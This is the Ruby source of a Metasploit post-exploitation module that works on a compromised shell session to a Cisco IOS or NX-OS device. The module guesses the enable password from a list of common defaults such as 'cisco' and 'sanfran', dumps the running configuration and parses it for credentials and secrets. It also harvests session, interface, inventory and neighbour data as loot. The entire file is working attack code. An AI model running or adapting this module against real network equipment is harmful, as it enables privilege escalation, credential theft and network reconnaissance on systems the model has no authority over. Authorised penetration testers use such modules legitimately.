## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Auxiliary::Cisco include Msf::Exploit::Deprecated moved_from 'post/cisco/gather/enum_cisco' def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco Gather Device General Information', 'Description' => %q{ This module collects a Cisco IOS or NXOS device information and configuration. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => [ 'cisco'], 'SessionTypes' => [ 'shell' ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']), OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.']) ] ) end def run # Get device prompt prompt = session.shell_command('') # Set terminal length to 0 so no paging is required session.shell_write("term len 0 \n") # Get version info print_status('Getting version information') show_ver_cmd = 'show version' ver_out = session.shell_command(show_ver_cmd) ver = ver_out.gsub(/show version/, '') # Get current privilege level print_status('Getting privilege level') priv_cmd = 'show priv' priv = session.shell_command(priv_cmd).scan(/privilege level is (\d*)/).join # Check if this is a Nexus or IOS box case ver when /Nexus/ os_type = 'Nexus' mode = 'EXEC' when /IOS/ os_type = 'IOS' end if os_type == 'IOS' case prompt when />/ mode = 'EXEC' when /#/ mode = 'PRIV' end end print_status("The device OS is #{os_type}") print_status("Session running in mode #{mode}") print_status("Privilege level #{priv}") case os_type when /IOS/ ver_loc = store_loot('cisco.ios.version', 'text/plain', session, ver.strip, 'version.txt', 'Cisco IOS Version') when /Nexus/ ver_loc = store_loot('cisco.nxos.version', 'text/plain', session, ver.strip, 'version.txt', 'Cisco NXOS Version') end # Print the version of VERBOSE set to true. vprint_good("version information stored in to loot, file:#{ver_loc}") # Enumerate depending priv level case priv when '1' enum_exec(prompt) if get_enable(datastore['ENABLE'], datastore['WORDLIST']) enum_priv(prompt) end when /7|15/ enum_exec(prompt) enum_priv(prompt) end end def get_enable(enable_pass, pass_file) if enable_pass found = false session.shell_command('enable').to_s.strip en_out = session.shell_command(enable_pass) if en_out =~ /Password:/ print_error('Failed to change privilege level using provided Enable password.') else found = true end else if pass_file if !::File.exist?(pass_file) print_error("Wordlist File #{pass_file} does not exist!") return end creds = ::File.open(pass_file, 'rb') else creds = "Cisco\n" << "cisco\n" << "sanfran\n" << "SanFran\n" << "password\n" << "Password\n" end print_status('Trying to get higher privilege level with common Enable passwords..') # Try just the enable command en_out = session.shell_command('enable').to_s.strip if en_out =~ /Password:/ creds.each_line do |p| next if p.strip.empty? next if p[0, 1] == '#' print_status("\tTrying password #{p.strip}") pass_out = session.shell_command(p.strip).to_s.strip vprint_status("Response: #{pass_out}") session.shell_command('enable').to_s.strip if pass_out =~ /Bad secrets/ found = true if pass_out =~ /#/ break if found end else found = true end end if found print_good('Obtained higher privilege level.') return true else print_error('Could not obtain higher privilege level.') return false end end # Run enumeration commands for when privilege level is 7 or 15 def enum_priv(prompt) host = session.session_host port = session.session_port priv_commands = [ { 'cmd' => 'show run', 'fn' => 'run_config', 'desc' => 'Cisco Device running configuration' }, { 'cmd' => 'show cdp neigh', 'fn' => 'cdp_neighbors', 'desc' => 'Cisco Device CDP Neighbors' }, { 'cmd' => 'show lldp neigh', 'fn' => 'cdp_neighbors', 'desc' => 'Cisco Device LLDP Neighbors' } ] priv_commands.each do |ec| cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '') # also look at line number so we dont invalidate large outputs by something at the end next if cmd_out.split("\n").length < 2 && cmd_out =~ /Invalid input|%/ print_status("Gathering info from #{ec['cmd']}") # Process configuration if ec['cmd'] =~ /show run/ print_status('Parsing running configuration for credentials and secrets...') cisco_ios_config_eater(host, port, cmd_out) end cmd_loc = store_loot("cisco.ios.#{ec['fn']}", 'text/plain', session, cmd_out.strip, "#{ec['fn']}.txt", ec['desc']) vprint_good("Saving to #{cmd_loc}") end end # run commands found in exec mode under privilege 1 def enum_exec(prompt) exec_commands = [ { 'cmd' => 'show ssh', 'fn' => 'ssh_sessions', 'desc' => 'SSH Sessions on Cisco Device' }, { 'cmd' => 'show sessions', 'fn' => 'telnet_sessions', 'desc' => 'Telnet Sessions on Cisco Device' }, { 'cmd' => 'show login', 'fn' => 'login_settings', 'desc' => 'Login settings on Cisco Device' }, { 'cmd' => 'show ip interface brief', 'fn' => 'interface_info', 'desc' => 'IP Enabled Interfaces on Cisco Device' }, { 'cmd' => 'show inventory', 'fn' => 'hw_inventory', 'desc' => 'Hardware component inventory for Cisco Device' } ] exec_commands.each do |ec| cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '') next if cmd_out =~ /Invalid input|%/ print_status("Gathering info from #{ec['cmd']}") cmd_loc = store_loot("cisco.ios.#{ec['fn']}", 'text/plain', session, cmd_out.strip, "#{ec['fn']}.txt", ec['desc']) vprint_good("Saving to #{cmd_loc}") end end end